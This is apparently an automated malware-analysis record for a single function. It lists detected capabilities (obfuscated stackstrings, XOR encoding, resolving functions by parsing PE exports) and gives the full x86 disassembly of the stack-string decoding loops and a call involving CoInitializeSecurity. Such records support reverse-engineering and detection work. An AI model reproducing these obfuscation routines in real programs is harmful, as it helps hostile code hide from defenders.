Function at 0x40dfb0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xa8
cmp dword [ecx + 0x20], 0
je 0x40e41b
mov esi, ecx
movzx eax, byte [ecx]
lea ecx, [esp + 0xa4]
push 0xa
push 4
push ecx
push eax
call fcn.0040e430
add esp, 0x10
mov dword [esp + 0x14], eax
lea eax, [esi + 0x10]
push eax
call fcn.0040ac50
add esp, 4
mov ecx, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0x18], eax
mov dword [esp], ecx
lea eax, [ecx + 0x400]
push eax
call fcn.0040cdd0
add esp, 4
mov edi, eax
mov dword [esp + 0x1c], 0x55457644
mov byte [esp + 0x20], 0xf0
mov word [esp + 0x21], 0
mov byte [esp + 0x23], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
movzx ebx, byte [esp + ecx + 0x1c]
mov ebp, eax
and ebp, 0xa
mov edx, ecx
xor edx, 0xd5dfcd5
add edx, ebp
mov ebp, edx
and ebp, ebx
add ebp, ebp
add edx, ebx
mov ebx, edx
sub ebx, ebp
and edx, 1
or ebx, 1
add ebx, edx
add bl, 0xd6
mov byte [esp + ecx + 0x1c], bl
inc ecx
add eax, 2
cmp ecx, 8
jne 0x40e030
lea ebp, [esp + 0x1c]
mov ecx, esi
push 0x4500cc
push ebp
push edi
call fcn.0040d970
mov dword [esp + 0x1c], 0x9f7a7068
mov byte [esp + 0x20], 0
mov eax, 0xaffa8da
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0xaffa8be]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xbe
mov byte [esp + eax - 0xaffa8be], cl
inc eax
cmp eax, 0xaffa8df
jne 0x40e090
mov ecx, esi
push dword [esp + 0x14]
push ebp
push edi
call fcn.0040d970
mov eax, dword [str.YTy0EM__best3]
mov dword [esp + 0x1c], 0xf6a7074
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
xor ecx, ecx
nop
mov edx, ecx
add dl, 0x82
xor dl, byte [esp + ecx + 0x1c]
add dl, 0x76
mov byte [esp + ecx + 0x1c], dl
inc ecx
cmp ecx, 7
jne 0x40e0e0
mov ecx, esi
push eax
push ebp
push edi
call fcn.0040d970
mov dword [esp + 0x1c], 0x1d1018e9
mov dword [esp + 0x20], 0xf01d1401
mov dword [esp + 0x24], 0x6071cf1
mov byte [esp + 0x28], pe_nt_image_headers32
mov word [esp + 0x29], 0
mov byte [esp + 0x2b], 0
mov eax, 0xe9
nop
nop
movzx ecx, byte [esp + eax - 0xcd]
mov edx, ecx
not edx
or edx, eax
add dl, dl
add dl, cl
neg dl
movzx ecx, dl
add ecx, eax
add cl, 0x71
mov byte [esp + eax - 0xcd], cl
inc eax
cmp eax, 0xf9
jne 0x40e130
mov dword [esp + 4], 0xc356a2a1
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x50
xor cl, byte [esp + eax + 4]
add cl, 0x70
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 4
jne 0x40e170
lea eax, [esp + 4]
mov ecx, esi
push ebp
push eax
push edi
call fcn.0040d970
mov dword [esp + 0x1c], 0xfef2fcfa
mov byte [esp + 0x20], 0x60
mov dword [esp + 0x21], 0
mov word [esp + 0x25], 0
mov eax, 0x30d5066
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebp]
mov edx, eax
or edx, ecx
lea ebx, [eax - 0x30d5000]
and ebx, ecx
not edx
or edx, ebx
mov ecx, edx
and ecx, 2
xor edx, 2
lea ecx, [edx + ecx*2]
inc cl
mov byte [ebp], cl
inc ebp
dec eax
cmp eax, 0x30d505b
jne 0x40e1c0
lea ebp, [esp + 0x1c]
mov ecx, esi
push dword [esp]
push dword [esp + 0x1c]
push ebp
push edi
call fcn.0040dc10
mov eax, dword [esi + 0x60]
mov dword [esp], eax
mov dword [esp + 0x1c], 0x97b0b51
mov dword [esp + 0x20], 0x58a077a
mov dword [esp + 0x24], 0x170037f
mov dword [esp + 0x28], 0x1d2d1f8c
mov dword [esp + 0x2c], 0x199d1b70
mov dword [esp + 0x30], 0x156d1768
mov dword [esp + 0x34], 0x11321352
mov dword [esp + 0x38], 0x2da52f63
mov dword [esp + 0x3c], 0x29a62b58
mov dword [esp + 0x40], 0x2556275f
mov dword [esp + 0x44], 0x21ac235b
mov dword [esp + 0x48], 0x3d0f3fac
mov dword [esp + 0x4c], 0x394b3b46
mov dword [esp + 0x50], 0x354537b6
mov dword [esp + 0x54], 0x314e3307
mov dword [esp + 0x58], 0x4dc24f4f
mov dword [esp + 0x5c], 0x490f4b33
mov dword [esp + 0x60], 0x45384768
mov dword [esp + 0x64], 0x41c94335
mov dword [esp + 0x68], 0x5d225f32
mov dword [esp + 0x6c], 0x59d45b23
mov dword [esp + 0x70], 0x551557df
mov dword [esp + 0x74], 0x5129532a
mov dword [esp + 0x78], 0x6d256f18
mov dword [esp + 0x7c], 0x69116b10
mov dword [esp + 0x80], 0x65116723
mov dword [esp + 0x84], 0x611e6314
mov dword [esp + 0x88], 0x7d037f11
mov dword [esp + 0x8c], 0x79017b0b
mov dword [esp + 0x90], 0x75f877f6
mov dword [esp + 0x94], 0x713d730f
mov dword [esp + 0x98], 0x8d988f63
mov word [esp + 0x9c], 0x8b8c
mov byte [esp + 0xa2], 0
mov dword [esp + 0x9e], 0
mov eax, 0x5c630d7c
nop
nop
movzx ebx, byte [ebp]
mov ecx, eax
or ecx, ebx
not ecx
lea edx, [eax - 0x5c630d00]
and edx, ebx
or edx, ecx
mov ecx, 0x3210bc8f
sub ecx, edx
or ecx, 1
add ecx, edx
add ecx, 0xcdef4371
or edx, 1
add edx, 0xcdef4370
mov ebx, ecx
and ebx, edx
xor edx, ecx
lea ecx, [edx + ebx*2]
mov byte [ebp], cl
inc ebp
dec eax
cmp eax, 0x5c630cf5
jne 0x40e340
mov dword [esp + 4], 0x913d9f4d
mov dword [esp + 8], 0x95099300
mov word [esp + 0xc], 0x9794
mov dword [esp + 0xe], 0
mov word [esp + 0x12], 0
mov ecx, 0x8ce60ee5
nop
movzx eax, byte [esp + ecx + 0x7319f11f]
mov edx, ecx
and edx, eax
add edx, edx
sub eax, edx
add eax, ecx
mov edx, eax
and edx, 6
xor eax, 0x86
lea eax, [eax + edx*2]
inc al
mov byte [esp + ecx + 0x7319f11f], al
inc ecx
cmp ecx, 0x8ce60ef5
jne 0x40e3b0
lea eax, [esp + 0x1c]
push reloc.ole32.dll_CoInitializeSecurity
push dword [esp + 4]
push edi
push 0
push 0
push eax
lea eax, [esp + 0x1c]
push eax
call int.00410750
add esp, 0x1c
mov ebx, eax
push edi
call fcn.0040cde0
add esp, 4
mov eax, dword [esi + 0x60]
add dword [esi + 4], eax
mov dword [esi + 0x60], 0
jmp 0x40e41d
mov bl, 1
mov eax, ebx
add esp, 0xa8
pop esi
pop edi
pop ebx
pop ebp
ret